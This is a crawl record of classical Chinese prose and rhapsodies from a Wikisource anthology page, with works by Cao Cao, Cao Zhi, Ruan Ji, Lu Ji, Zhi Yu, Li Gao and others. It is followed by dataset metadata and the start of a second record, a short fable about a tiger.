以服事殷,周之德可謂至德矣,夫能以大事小也。昔 樂毅走趙,趙王欲與之圖燕,樂毅伏而垂泣,對曰:臣 事昭王,猶事大王;臣若獲戾,放在他國,沒世然後已, 不忍謀趙之徒隸,況燕後嗣乎。胡亥之殺蒙恬也,恬 曰:自吾先人及至子孫,積信於秦三世矣;今臣將兵 三十餘萬,其勢足以背叛,然自知必死而守義者,不 敢辱先人之教以忘先王也。孤每讀此二人書,未嘗 不愴然流涕也。孤祖父以至孤身,皆當親重之任,可 謂見信者矣,以及子桓兄弟,過於三世矣。孤非徒對 諸君說此也,常以語妻妾,皆令深知此意。孤謂之言: 顧我萬年之後,汝曹皆當出嫁,欲令傳道吾心,使他 人皆知之。孤此言皆肝膈之要也。所以勤勤懇懇敘 心腹者,見周公有《金縢》之書以自明,恐人不信之故。 然欲孤便爾委捐所典兵眾以還執事,歸就武平侯 國,實不可也。何者。誠恐己離兵為人所禍也。既為子 孫計,又己敗則國家傾危,是以不得慕虛名而處實 禍,此所不得為也。前朝恩封三子為侯,固辭不受,今 更欲受之,非欲復以為榮,欲以為外援,為萬安計。孤 聞介推之避晉封,申胥之逃楚賞,未嘗不舍書而歎, 有以自省也。奉國威靈,仗鉞征伐,推弱以克強,處小 而擒大,意之所圖,動無違事,心之所慮,何向不濟。遂 蕩平天下,不辱主命,可謂天助漢室,非人力也。然封 兼四縣,食戶三萬,何德堪之。江湖未靜,不可讓位;至 於邑土,可得而辭。今上還陽夏、柘、苦三縣戶二萬,但 食武平萬戶,且以分損謗議,少減孤之責也。\n《愁思賦》魏·曹植编辑\n四節更王兮秋氣悲,遙思惝怳兮若有遺,原野蕭條 兮煙無依,雲高氣靜兮露凝璣,野草變色兮莖葉稀, 鳴蜩抱木兮雁南飛,歸室解裳兮步庭前,月光照懷 兮星依天,居一世兮芳景遷,松喬難慕兮誰能仙,長 短命也兮獨何愆。\n《幽思賦》前人编辑\n倚高臺之曲隅,處幽僻之閒深,望翔雲之悠悠,羌朝 霽而夕陰,顧秋華而零落,感歲暮而傷心,觀躍魚於 南沼,聆鳴鶴於北林,搦素筆而慷慨,揚大雅之哀吟, 仰清風以嘆息,寄余思於悲絃,信有心而在遠,重登 高以臨川,何余心之煩錯,寧翰墨之能傳。\n《元暢賦》〈有序〉前人编辑\n夫富者非財也,貴者非寶也,或有輕爵祿而重榮聲者,或有反性命而徇功名者,是以孔老異情,楊墨殊義,聊作斯賦,名曰元暢。\n夫何希世之大人,罄天壤而作皇,該仁聖之上義,據 神位以統方,補五常之漏闕,綴三代以維綱,僥余生 之倖祿,遘九二之嘉祥,上同契於稷,降合穎於伊 望,思薦寶以繼佩,怨和璞之始鑴,思黃鍾以協律,怨 伶夔之不存,嗟所圖之莫合,悵蘊結而延佇,希鵬舉 以摶天,蹶青雲而奮羽,企駟躍而改駕,任中才之展 御,望前軌而致策,顧後乘而安驅,匪逞邁之短修,取 全貞而保素,弘道德以為宇,築無怨以作藩,溜慈惠以為圃,耕柔順以為田,不媿景而慚魄,信樂天之何 欲,逸千載而流聲,超遺黎而度俗。\n《感節賦》前人编辑\n攜友生而游觀,盡賓主之所求,登高墉以永望,冀消 日以忘憂,欣陽春之潛潤,樂時澤之惠休,望候鴈之 翔集,想元鳥之來游,嗟征夫之長勤,雖處逸而懷愁, 懼天河之一迴,沒我身乎長流,豈吾鄉之足顧,戀祖 宗之靈丘,唯人生之忽過,若鑿石之未燿,慕牛山之 哀泣,懼平仲之我笑,折若華之翳日,庶朱光之常照, 顧寄軀於飛蓬,乘陽風而遠飄,亮吾志之不從,乃拊 心以歎息,青雲鬱其西翔,飛鳥翩而上匿,欲縱體而 從之,哀余身之無翼,大風隱其四起,揚黃塵之冥冥, 鳥獸驚以求群,草木紛其揚英,見遊魚之涔灂,感流 波之悲聲,內紆曲而潛結,心怛惕以中驚,匪榮德之 累身,恐年命之早零,慕歸全之明義,庶不忝乎所生。\n《潛志賦》前人编辑\n潛大道以遊志,希往昔之遐烈,矯貞亮以作矢,當苑 囿乎呈藝,驅仁義以為禽,必忠信而後發,退隱身以 滅跡,進出世而取容,且摧剛而和謀,接虔肅以靜恭, 亮知榮而守辱,匪徇天以為通。\n《七啟》前人编辑\n昔枚乘作七發,傅毅作七激,張衡作七辯,崔駰作七依,辭各美麗。予有慕之焉,遂作七啟。并命王粲作焉。\n元微子隱居大荒之庭,飛遯離俗,澄神定靈。輕祿傲 貴,與物無營。耽虛好靜,羨此永生。獨馳思乎天雲之 際,無物象而能傾。於是鏡機子聞而將往說焉。駕超 野之駟,乘追風之輿。經迥漠。出幽墟。入乎泱漭之野, 遂屆元微子之所居。其居也,左激水,右高岑。背洞壑, 對芳林。冠皮弁、被文裘。出山岫之潛穴,倚峻崖而嬉 游。志飄飄焉,嶢嶢焉,似若狹六合而隘九州。若將飛 而未逝,若舉翼而中流。於是鏡機子攀葛藟而登,距 嵒而立,順風而稱曰:予聞君子不遯俗而遺名,智士 不背世而滅勳。今吾子棄道藝之華,遺仁義之英。秏 精神乎虛廓,廢人事之紀經。譬若畫形於無象,造響 於無聲。未之思乎,何所規之不通也。元微子俯而應 之曰:嘻,有是言乎。夫太極之初,混混未分,萬物紛錯, 與道俱隆。蓋有形必朽,有跡必窮。茫茫元氣,誰知其 終。名穢我身,位累我躬。竊慕古人之所志,仰老莊之 遺風。假靈龜以托喻,寧掉尾於塗中。\n鏡機子曰:夫辯言之艷,能使窮澤生流,枯木發榮。庶 感靈而激神,況近在乎人情。僕將為君子說遊觀之 至娛,演聲色之妖靡。論變化之至妙,敷道德之弘麗。 願聞之乎。元微子曰:吾子整身倦世,探隱拯沉。不遠 遐路,幸見光臨。將敬滌耳,以聽玉音。\n鏡機子曰:芳菰精粺,霜蓄露葵。元熊素膚,肥豢膿肌。 蟬翼之割,剖纖析微。累如疊縠,離若散雪。輕隨風飛, 刃不轉切。山鵽斥鷃,珠翠之珍。搴芳蓮之巢龜,膾西 海之飛鱗。臛江東之潛鼉,臇漢南之鳴鶉。糅以芳酸, 甘和既醇。元冥適鹹,蓐收調辛。紫蘭丹椒,施和必節。 滋味既殊,遺芳射越。乃有春清縹酒,康狄所營。應化 則變,感氣而成。彈徵則苦發,扣宮則甘生。於是盛以 翠樽,酌以雕觴。浮蟻鼎沸,酷烈馨香。可以和神,可以 娛腸。此肴饌之妙也。子能從我而食之乎。元微子曰: 予甘藜藿,未暇此食也。\n鏡機子曰:步光之,華藻繁縟。飾以文犀,雕以翠綠。 綴以驪龍之珠,錯以荊山之玉。陸斷犀象,未足稱雋。 隨波截鴻,水不漸刃。九旋之冕,散曜垂文。華組之纓, 從風紛紜。佩則結綠懸黎,寶之妙微。符采照爛,流景 揚輝。黼黻之服,紗縠之裳。金華之舄,動趾遺光。繁飾 參差,微鮮若霜。緄佩綢繆,或彫或錯。薰以幽若,流芳 肆布。雍容閒步,周旋馳曜。南威為之解顏,西施為之 巧笑。此容飾之妙也,子能從我而服之乎。元微子曰: 予好毛褐,未暇此服也。\n鏡機子曰:馳騁足用蕩思,遊獵可以娛情。僕將為吾 子駕雲龍之飛駟,飾玉輅之繁纓。垂宛虹之長緌,抗 招搖之華旍。插忘歸之矢,秉繁弱之弓。忽躡景而輕 騖,逸奔驥而超遺風。於是磎填谷塞,榛藪平夷。緣山 置罝,彌野張罘。下無漏跡,上無逸飛。鳥集獸屯,然後 會圍。獠徒雲布,武騎霧散。丹旗燿野,戈殳皓旴。曳文 狐,掩狡兔。捎鷫鷞,拂振鷺。當軌見藉,值足遇踐。飛軒 電逝,獸隨輪轉。翼不暇張,足不及騰。動觸飛鋒,舉挂 輕罾。搜林索險,探薄窮阻。騰山赴壑,風厲焱舉。機不 虛發,中必飲羽。於是人稠網密,地逼勢脅。哮闞之獸, 張牙奮鬣。志在觸突,猛氣不慴。乃使北宮東郭之儔, 生抽豹尾,分裂貙肩。形不抗手,骨不隱拳。批熊碎掌, 拉虎摧斑。野無毛數,林無羽群。積獸如陵,飛翮成雲。 於是駴鐘鳴鼓,收旌弛。頓綱縱網,羆獠回邁。駿騄 齊驤,揚鸞飛沬。俯倚金較,仰撫翠蓋。雍容暇豫,娛志 方外。此羽獵之妙也,子能從我而觀之乎。元微子曰: 予性樂恬靜,未暇此觀也。鏡機子曰:閒宮顯敞,雲屋皓旰。崇景山之高基,迎清 風而立觀。彤軒紫柱,文榱華梁。綺井含葩,金墀玉廂。 溫房則冬服絺綌,清室則中夏含霜。華閣緣雲,飛陛 凌虛。俯眺流星,仰觀八隅。升龍攀而不逮,眇天際而 高居。繁巧神怪,變名異形。班輸無所措其斧斤,離婁 為之失睛。麗草交植,殊品詭類。綠葉朱榮,熙天曜日。 素水盈沼,叢木成林。飛翮陵高,鱗甲隱深。於是逍遙 暇豫,忽若忘歸。乃使任子垂釣,魏氏發機。芳餌沉水, 輕繳弋飛。落翳雲之翔鳥,援九淵之靈龜。然後採菱 華,擢水蘋。弄蛛,戲鮫人。諷漢廣之所詠,覿遊女於 水濱。燿神景於中沚,被輕縠之纖羅。遺芳烈而靜步, 抗皓手而清歌。歌曰:望雲際兮有好仇,天路長兮往 無由。佩蘭蕙兮為誰修,嬿婉絕兮我心愁。此宮館之 妙也,子能從我而居之乎。元微子曰:予耽巖穴,未暇 此居也。\n鏡機子曰:既遊觀中原,逍遙閒居,情放志蕩,淫樂未 終。亦將有才人妙妓,遺世越俗。揚北里之流聲,紹陽 阿之妙曲。爾乃御文軒,臨洞庭。琴瑟交揮,左箎右笙。 鐘鼓俱振,簫管齊鳴。然後姣人乃被文縠之華褂,振 輕綺之飄颻。戴金搖之熠燿,揚翠羽之雙翹。揮流芳, 燿飛文。歷盤鼓,煥繽紛。長裾隨風,悲歌入雲。蹻捷若 飛,蹈虛遠蹠。陵躍超驤,蜿蟬揮霍。翔爾鴻翥,濈然鳧 沒。縱輕體以迅赴,景追形而不逮。飛聲激塵,依違厲 響。才捷若神,形難為象。於是為歡未渫,白日西頹。散 樂變飾,微步中閨。元眉弛兮鉛華落,收亂髮兮拂蘭 澤,形服兮揚幽若。紅顏宜笑,睇盼流光。時與吾子, 攜手同行。踐飛除,即閒房。華燭爛,幄幕張。動朱脣,發 清商。揚羅袂,振華裳。九秋之夕,為歡未央。此聲色之 妙也,子能從我而遊之乎。元微子曰:予願清虛,未暇 此遊也。\n鏡機子曰:予聞君子樂奮節以顯義,烈士甘危軀以 成仁。是以雄俊之徒,交黨結倫。重氣輕命,感分遺身。 故田光伏劍於北燕,公叔畢命於西秦。果毅輕斷,虎 步谷風。威慴萬乘,華夏稱雄。詞未及終,而元微子曰: 善。鏡機子曰:此乃遊俠之徒耳,未足稱妙也。若夫田 文無忌之儔,乃上古之俊公子也。皆飛仁揚義,騰躍 道藝。遊心無方,抗志雲際。陵轢諸侯,驅馳當世。揮袂 則九野生風,慷慨則氣成虹蜺。吾子若當此之時,能 從我而友之乎。元微子曰:予亮願焉。然方於大道,有 累如何。\n鏡機子曰:世有聖宰,翼帝霸世。同量乾坤,等曜日月。 元化參神,與靈合契。惠澤播於黎苗,威靈振乎無外。 超隆平於殷周,踵羲皇而齊泰。顯朝惟清,王道遐均。 民望如草,我澤如春。河濱無洗耳之士,喬嶽無巢居 之民。是以俊乂來仕,觀國之光。舉不遺材,進各異方。 讚典禮於辟雍,講文德於明堂;正流俗之華說,綜孔 氏之舊章。散樂移風,國富民康。神應休臻,屢獲嘉祥。 故甘露紛而晨降,景星宵而舒光。觀遊龍於神淵,聆 鳴鳳於高岡。此霸道之至隆,而雍熙之盛際。然主上 猶尚以沈恩之未廣,懼聲教之未厲。采英奇於仄陋, 宣皇明於巖穴。此甯子商歌之秋,而呂望所以投綸 而逝也。吾子為太和之民,不欲仕陶唐之世乎。於是 元微子攘袂而興曰:偉哉言乎。近者吾子,所述華淫, 欲以厲我,祇攪予心。至聞天下穆清,明君國,覽盈 虛之正義,知頑素之迷惑。令予廓爾,身輕若飛。願反 初服,從子而歸。\n《九詠》前人编辑\n芙蓉車兮桂衡,結萍蓋兮翠旌,駟蒼虯兮翼轂,駕陵 魚兮驂鯨,茵薦兮蘭席,蕙幬兮苓床,抗南箕兮簸瓊 蕊,挹天河兮滌玉觴,靈既降兮泊靜默,登文階兮坐 紫房,服春榮兮猗靡,雲裾繞兮容裔,冠北辰兮岌峨, 帶長虹兮陵厲,蘭肴御兮玉俎陳,雅音奏兮文虞羅, 感漢廣。兮羨游女,揚激楚兮詠湘娥,臨迴風兮浮漢 渚,目牽牛兮眺織女,交有際兮會有期,嗟痛吾兮來 不時,來無見兮進無聞,泣下雨兮嘆成雲,先後悔其 靡及,冀后王之一悟,猶搦轡而繁策,馳覆車之危路, 群秉舟而無楫,將何川而能渡,何世俗之蒙昧,悼邦 國之未靜,焚椒蘭其望治,由倒裳而求領,尋湘漢之 長流,採芳岸之靈芝,遇游女於水裔,探菱花而結詞, 野蕭條以極望,曠千里而無人,民生期於必死,何自 苦以終身,寧作清水之沉泥,不為濁路之飛塵。\n《遂志賦》劉楨编辑\n幸遇明后,因志東傾,披此豐草,乃命小生,生之小矣。 何茲云當,牧馬於路,役車低昂,愴恨惻切,我獨西行, 去峻溪之鴻洞,觀日景於朝陽,釋叢棘之餘刺,踐檟 林之柔芳,皦玉粲以曜目,榮日華以舒光,信此山之 多靈,何神分之煌煌,聊且遊觀,周歷高岑,仰攀高枝, 側身遺陰,磷磷,以廣其心,伊天皇之樹葉,必結 根於仁方,捎吳夷於東隅,掣畔臣乎南荊,戢干戈於 內庫,我馬縶而不行,揚洪恩於無涯,聽頌聲之洋洋, 四寓漠以無為,元道穆以普將,翼俊乂於上列,退仄陋於下場,襲初服之蕪薉,託蓬蘆以遊翔,豈放言而 云爾,乃旦夕之可忘。\n《答伏義書》阮籍编辑\n籍白承音覽旨,有心翰跡。夫九蒼之高迅,羽不能尋 其巔。四冥之深幽,鱗不能測其底。矧無毛分所能論 哉。且元雲無定體,應龍不常儀,或朝濟夕卷,翕忽代 興,或泥潛天飛,晨降宵升。舒體則八維不足,暢跡促 節則無間,足以從容,是又瞽夫所不能瞻,璅蟲所不 能解也。然則弘修淵邈者,非近力所能究矣。靈變神 化者,非局器所能察矣。何吾子之區區,而吾真之務 求。乎人力勢不能齊,好尚舛,異鸞鳳。淩雲漢以舞翼, 鳩鵷悅蓬林以翱翔,螭浮八濱以濯鱗,鱉娛行潦而 群逝,斯用情各從其好,以取樂焉。據此,非彼胡可齊 乎。夫人之立節也,將舒網以籠世,豈樽樽以入罔,方 開模以範俗,何暇毀質以適檢。若良運未協,神機無 准,則騰精抗志,邈世高超。蕩精舉於元區之表,攄妙 節於九垓之外。而翱翔之乘景,躍踸踔陵忽慌,從容 與道化同逌,逍遙與日月並流。交名虛以齊變,及英 祇以等化,上乎無上,下乎無下,居乎無室,出乎無門。 齊萬物之去留,隨六氣之虛盈。總元綱於太極,撫天 一於廖廓,飄埃不能揚其波,飛塵不能垢其潔,徒寄 形軀於斯域,何精神之可察。雖業無不聞,略無不稱, 而明有所逮,未可怪也。觀吾子之趨,欲衒傾城之金, 求百錢之售制,造天之禮,儗膚寸之檢,勞玉躬以役 物。守臊穢以自畢。沉牛跡之浥薄,慍河漢之無根。其 陋可醜,其事可悲。亮規略之懸踰,信大道之弘幽。且 局步於常衢,無為思遠以自愁,比連疹憒,力喻不多。 阮籍白\n《懷思賦》夏侯惇编辑\n何天地之悠長,悼人生之短淺,思縱欲以求歡,苟抑 沉以避免,嗟聖王之制作,所以貴夫善善,信循道以 從法,何世路之迍蹇,始潔操以迄今,每適道而靡違, 思典言以攝事,弗履過而循非,恆戰戰以兢慄,杜穢 釁而防微,斂規節以踐跡,冀天鑒之佑誠,勤恭肅以 端厲,常苦心而勞形,桑榆淹其薄沒,既白首而無成, 世務多故,吾固甘夫無為,名不足以為尚,空勞穢以 自卑,永無事以安神,幸歿世之無知。\n《與從弟書》晉·羊祜编辑\n吾以布衣,忝荷重任,每以尸素為愧,大命既隆,惟江 南未夷,此人臣之責,是以不量所能,畢力吳會,當憑 朝廷之威,賴士大夫之謀,以余克之舉,除萬世之患, 年已朽老,既定邊事,當有角巾東路,還歸鄉里,於墳 墓側,為容棺之墟,假日視息,思與後生味道,此吾之 至願也,以凡才而居重位,何能不懼盈滿受責邪,疏 廣吾師也,聖主明恕,當不奪微志爾。\n《遂志賦》〈有序〉陸機编辑\n昔崔篆作詩,以明道述志,而馮衍又作顯志賦,班固作幽通賦,皆相依倣焉,張衡思元,蔡邕元表,張叔哀系,此前世之可得言者也,崔氏簡而有情,顯志壯而泛濫,哀系俗而時靡,元表雅而微素,思元精練而和。惠,欲麗前人,而優游清典,漏幽通矣,班生彬彬,切而不絞,哀而不怨矣,崔蔡沖虛溫敏,雅之屬也,衍抑揚頓挫,怨之徒也,豈亦窮達異事,而聲為情變乎,余備托作者之末,聊復用心焉。\n武定鼎于洛汭,胡受瑞于汝墳,繇鳴鳳于百祀,啟敬 仲乎方震,苟天光之所照,豈舜族其必陳,厭禋祀于 故墟,享禴祭于東鄰,禰八葉而相茂,舞九韶乎降神, 系江叟于海曲,表滄流于遠震,仰前蹤之綿邈,豈孤 人之能胄,匪世祿之敢懷,傷茲堂之不構,理或暌而 後合,道有夷而弗順,傅棲喦而神交,伊荷鼎以自進, 蕭綢繆于豐沛,故攀龍而先躍,陳頓委于楚魏,亦凌 霄以自濯,伍被刑而伏劍,魏和戎而擁樂,彼殊塗而 並致,此同川而偏溺,禍無景而易逢,福有時而難學, 惟萬物之運動,雖紛糾而相襲,隨性類以曲成,故圓 行而方立,要信心而委命,援前修以自程,擬遺跡于 成軌,詠新曲于故聲,任窮達以逝止,亦進仕而退耕, 庶斯言之不渝,抱耿介以成名。\n《思游賦》〈有序〉摯虞编辑\n虞嘗以死生有命,富貴在天。天之所祐者義也,人之所助者信也;履信思順,所以延福;違此而行,所以速禍。然道長世短,禍福舛錯,怵迫之徒,不知所守,蕩而積憤,或迷或放。借之以身,假之以事,先陳處世不遇之難,遂棄彝倫,輕舉遠遊,以極常人罔惑之情,而後引之以正,反之以義,推神明之應於視聽之表,崇否泰之運於智力之外,以明天任命之不可違,故作思游賦。其辭曰:\n有軒轅之遐冑兮,氏仲壬之洪裔。敷華穎於末葉兮, 睎靈根於上世。準乾坤以斡度兮,儀陰陽以定制。匪 時運其焉行兮,乘太虛而遙曳。戴朗月之高冠兮,綴 太白之明璜。製文霓以為衣兮,襲采雲以為裳。要華 電之煜爚兮,佩玉衡之琳琅。明景日以鑒形兮,信煥曜而重光。至美詭好於凡觀兮,修稀合而靡呈。燕石 緹襲以華國兮,和璞遙棄於南荊。夏像韜塵於市北 兮,瓶罍抗方於兩楹。鸞皇耿介而偏棲兮,蘭桂背時 而獨榮。關寒暑以練真兮,豈改容而爽情。感昆吾之 易越兮,懷暉光之速暮。羨一稔而三春兮,尚含英以 容豫。悼曜靈之靡暇兮,限天晷之有度。聆鳴蜩之號 節兮,恐隕葉於凝露。希前軌而增騖兮,眷後塵而旋 顧。往者倏忽而不逮兮,來者冥昧而未著。二儀泊焉 其無央兮,四節環轉而靡窮。星烏逝而時反兮,夕景 潛而且融。旻三后之在天兮,歎聖哲之永終。諒道修 而命微兮,孰舍盈而戢沖。握隋珠與蕙若兮,時莫悅 而未遑。彼未遑其何恤兮,懼獨美之有傷。蹇委深而 投粵兮,庶芬藻之不彰。芳處幽而彌馨兮,寶在夜而 愈光。逼區內之迫脅兮,思攄翼乎八荒。望雲階之崇 壯兮,願輕舉而高翔。造庖犧以問象兮,辨吉繇於姬 文。將遠遊於太初兮,鑒形魄之未分。四靈儼而為衛 兮,六氣紛以成群。驂白獸於商風兮,御蒼龍於景雲。 簡廝徒於靈圉兮,從馮夷而問津。召陵陽於游谿兮, 旌王子於柏人。前祝融以掌燧兮,殿元冥以掩塵。形 彯彯而遂遐兮,氣亹亹而愈新。挹玉膏於萊嵎兮,掇 芝英於瀛濱。揖太真以假憩兮,聽賦政於三春。洪範 翕而復張兮,百卉隕而更震。睇玉女之紛彯兮,執懿 筐於扶木。覽元象之靴兮,仍騰躍乎陽谷。吸朝霞 以療饑兮,降廩泉而濯足。將縱轡以逍遙兮,恨東極 之路促。詔纖阿而右迴兮,覿朱明之赫戲。群神於 夏庭兮,迴蒼梧而結知。纚焦明以承旂兮,駔天馬而 高馳。讒羲和於丹丘兮,誚倒景之亂儀。尋凱風而南 暨兮,謝太陽於炎離。戚溽暑之陶鬱兮,余安能乎留 斯。聞碧雞之長晨兮,吾將往乎西游。粵浮鷁於弱水 兮,泊舳艫於中流。苟精粹之攸存兮,誠沉羽以汎舟。 軼望舒以陵厲兮,羌神漂而氣浮。訊碩老於金室兮, 采舊聞於前修。譏淪陰於危山兮,問王母於椒丘。觀 元鳥之參趾兮,會根壹之神籌。擾毚兔於月窟兮,詰 姮娥於蓐收。爰攬轡而旋驅兮,訪北叟之倚伏。乘增 冰而遂濟兮,凌固陰之所滀。探龜蛇於幽穴兮,瞰罔 養之潛育。哂倏忽之躁狂兮,喪中黃於耳目,偭燭龍 而游衍兮,窮大明於北陸。攀招搖而上躋兮,忽蹈廓 而凌虛。登閶闔而遣眷兮,頫元黃於地輿。召黔雷以 先導兮,覲天帝於清都。觀渾儀以寓目兮,拊造化之 大罏。爰辨惑於上皇兮,稽吉凶之元符。唐則天而民 咨兮,癸亂常而感虞。孔揮涕於西狩兮,臧考祥於婁 句。跖肆暴而保乂兮,顏履仁而夙徂。何否泰之靡所 兮,眩榮辱之不圖。運可期兮不可思,道可知兮不可 為。求之者勞兮欲之者惑,信天任命兮理乃自得。且 以四位為匠,乾坤為鈞。散而為物,結而為人。陽降陰 升,一替一興。流而為川,滯而為陵。禍不可禳,福不可 徵。其否兮有豫,其泰兮有數。成形兮未察,靈像兮已 固。承明訓以發蒙兮,審性命之靡求。將澄神而守一 兮,奚飄飄而遐遊。斐陳辭以告退兮,主悖惘而永歎。 惟升降之不仍兮,詠別易而會難。願大饗以致好兮, 盍息駕於一餐。會司儀於有始兮,延嘉賓於九乾。陳 鈞天之廣樂兮,展萬舞之至歡。枉矢爍其在手兮,狼 弧翩其斯彎。睨翟犬於帝側兮,殪熊羆於靈軒。爾乃 清道夙蹕,載輪修祖。班命受號,轙輈整旅。兆司鬱以 屆路兮,萬靈森而陳庭。豐隆軒其警眾兮,鉤陳帥以 屬兵。堪輿竦而進峙兮,文昌肅以司行。抗蚩尤之修 旃兮,建雄虹之采旌。乘雲車電鞭之扶輿委移兮,駕 應龍青虯之容裔陸離。俯游光逸景倏爍揮霍兮,仰 流旌垂旄焱攸纖纚。前湛湛而攝進兮,後僸僸而方 馳。且啟行於重陽兮,奄稅駕乎少儀。跨列缺兮闚乾 坤,揮玉關兮出天門。涉漢津兮望崑崙,經赤霄兮臨 元根。觀品物兮終復魂,形已消兮氣猶存。眺懸舟之 離離兮,懷舊都之藹藹。仍繁榮而督引兮,將遄降而 速邁。華雲依霏而翼衡兮,日月炫晃而映蓋。蹈煙熅 兮辭天衢,心闣兮識故居。路遂遒兮情欣欣,奄忽 歸兮反常閭。修中和兮崇彝倫,大道繇兮味琴書。樂 自然兮識窮達,澹無思兮心恆娛。\n《申懷賦》〈有序〉傅咸编辑\n余自咸寧,謬為眾論所許,補太子洗馬,才不稱職,而意常惘然,作申懷賦。\n何天施之弘普,廁瓦礫於瓊瑛,備東宮之妙選,奉諸 君之聖明,穆穆清禁,濟濟群英,鸞翔鳳集,羽儀上京, 芬芳並發,我穢其馨,德音光宣,我累厥聲,豈伊不媿, 顧影慚形,雖自迫於隕越,懼恩隆而命輕,命既輕而 才下,諒無補於明時,塞賢哲之顯路,而塵損之日滋, 匪耽榮而忘替,實結戀之有違,忍厚顏於寮類,甘獲 戾而受譏,不悟皇恩之彌崇,授大縣乎近畿,畿云近 而防遠,情眷眷而含悲,悲惻兼懷,憂慮實深,雍可南 面,千載晞心,微微小子,斯之莫任,莫斯之任,求仁在 我,將反初服,畢志訓雅,盡烏鳥之至情,竭歡敬於膝 下,進抗疏以歸誠,退抽簪而脂車,庶所乞之克從,永收跡於蓬廬。\n《述志賦》〈有序〉李暠编辑\n暠當呂氏之末,為群雄所奉,遂啟霸圖,兵無血刃,坐定千里,謂張氏之業指期而成,河西十郡歲月而一。既而禿髮檀入據姑臧,沮渠蒙遜基宇稍廣,於是慨然著述志賦焉,其辭曰:\n涉至虛以誕駕,乘有輿於本無,稟元元而陶衍,承景 靈之冥符。蔭朝雲之菴藹,仰朗日之照煦。既敷既載, 以育以成。幼希顏子曲肱之榮,游心上典,玩禮敦經。 蔑元冕於朱門,羨漆園之傲生;尚漁父於滄浪,善沮 溺之耦耕。穢鴟鳶之籠嚇,欽飛鳳於太清;杜世競於 方寸,絕時譽之嘉聲。超霄吟於崇嶺,奇秀木之凌霜; 挺修幹之青蔥,經歲寒而彌芳。情逍遙以遠寄,想四 老之暉光;將戢繁榮於常衢,控雲轡而高驤;攀瓊枝 於元圃,漱華泉之淥漿;和吟鳳之逸響,應鳴鸞於南 岡。時弗獲,心往形留,眷駕陽林,宛首一丘;衝風沐 雨,載沉載浮。利害繽紛以交錯,歡感循環而相求。乾 扉奄寂以重閉,天池絕津而無舟;悼貞信之道薄,謝 慚德於圜流。遂乃去元覽,應世賓,肇弱巾於東宮,並 羽儀於英倫,踐宣德之祕庭,翼明后於紫宸。赫赫謙 光,崇明奕奕,岌岌王居,詵詵百辟,君希虞夏,臣庶夔 益。張王頹巖,梁后墜壑。淳風杪莽以永喪,縉紳淪胥 而覆溺。呂發釁於閨牆,厥構摧以傾顛;疾風飄於高 木,迴湯沸於重泉;飛塵翕以蔽日,大火炎其燎原;名 都幽然影絕,千邑而無煙。斯乃百六之恆數,起滅 相因而迭然。於是人希逐鹿之圖,家有雄霸之想,闇 王命而不尋,邀非分於無象。故覆車接路而繼軌,膏 生靈於土壤。哀餘類之忪懵,邈靡依而靡仰;求欲專 而失逾遠,寄元珠於罔象。悠悠涼道,鞠焉荒凶,杪杪 余躬,迢迢西邦,非相期之所會,諒冥契而來同。跨弱 水以建基,躡崑以為墉,總奔駟之駭轡,接摧轅於 峻峰。崇崖崨嶪,重險萬尋,元邃窈窕,磐紆嶔岑,榛棘 交橫,河廣水深,狐狸夾路,鴞鴟群吟。挺非我以為用, 任至當如影響;執同心以御物,懷自彼於握掌;匪矯 情而任荒,乃冥合而一往,華德是用來庭,野逸所以 就鞅。休矣時英,茂哉哲,庶罩網以遠籠,豈徒射鉤 與斬袂。或脫梏而纓蕤,或後至而先列,採殊才於巖 陸,拔翹彥於無際。思留侯之神遇,振高浪以蕩穢;想 孔明於草廬,運元籌之罔滯;洪操槃而慷慨,起三軍 以激銳。詠群豪之高軌,嘉關張之飄傑,誓報曹而歸 劉,何義勇之超出。據斷橋而橫矛,亦雄姿之壯發。輝 輝南珍,英英周魯,挺奇荊吳,昭文烈武,建策烏林,龍 驤江浦。摧堂堂之勁陣,鬱風翔而雲舉,紹樊韓之遠 蹤,侔徽猷於召武,非劉孫之鴻度,孰能臻茲大祜。信 乾坤之相成,庶物希風而潤雨。崏益既蕩,三江已清, 穆穆盛勳,濟濟隆平,御群龍而奮策,彌萬載以飛榮, 仰遺塵於絕代,企高山而景行。將建朱旗以啟路,驅 長轂而迅征,靡商風以抗,拂招搖之華旌,資神兆 於皇極,協五緯之所寧。赳赳平城,翼翼上弼,恣馘奔 鯨,截彼醜類。且灑遊塵於當陽,拯涼德於已墜。間昌 之驂乘,暨襄城而按轡。知去害之在茲,體牧童之 所述,審機動之至微,思遺飧而忘寐,表略韻於紈素, 託精誠於白日。\n|本作品在全世界都属于公有领域,因为作者逝世已经超过100年,并且于1923年1月1日之前出版。|","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E6%AC%BD%E5%AE%9A%E5%8F%A4%E4%BB%8A%E5%9C%96%E6%9B%B8%E9%9B%86%E6%88%90\/%E6%98%8E%E5%80%AB%E5%BD%99%E7%B7%A8\/%E4%BA%BA%E4%BA%8B%E5%85%B8\/%E7%AC%AC057%E5%8D%B7","date":"2020-01-23T02:52:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250608062.57\/warc\/CC-MAIN-20200123011418-20200123040418-00437.warc.gz","language":"lzh","language_score":0.4420580268,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4420580267906189, \"cmn_Hani_score\": 0.3664530813694, \"nan_Hani_score\": 0.12613974511623383, \"wuu_Hani_score\": 0.020820466801524162, \"yue_Hani_score\": 0.017109833657741547, \"jpn_Jpan_score\": 0.010213884525001049}","num_words":1061,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.188,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.412,"perplexity_score":500.0,"cluster_detection":1} +{"text":"若石隱於冥山之陰,有虎恒蹲以窺其藩。苦石帥其人晝夜警,日出而殷鉦,日入而燎燖,宵則振鐸以望,植棘樹墉,坎山谷以守,卒歲,虎不能有獲。一日而虎見,若石大喜,自以為虎死無毒己者矣。於是弛其機,撤其備,垣壞而不修,藩決而不理。無何,有貙逐麋來止其室之隈,聞其牛、羊、豕之聲而入食焉。苦石不知其為貙也,叱之不走,投之以塊,貙人立而爪之斃。君子謂若石知一而不知二,宜其及也。","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E9%83%81%E9%9B%A2%E5%AD%90\/%E8%99%8E%E8%B2%99","date":"2020-02-23T23:55:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145859.65\/warc\/CC-MAIN-20200223215635-20200224005635-00037.warc.gz","language":"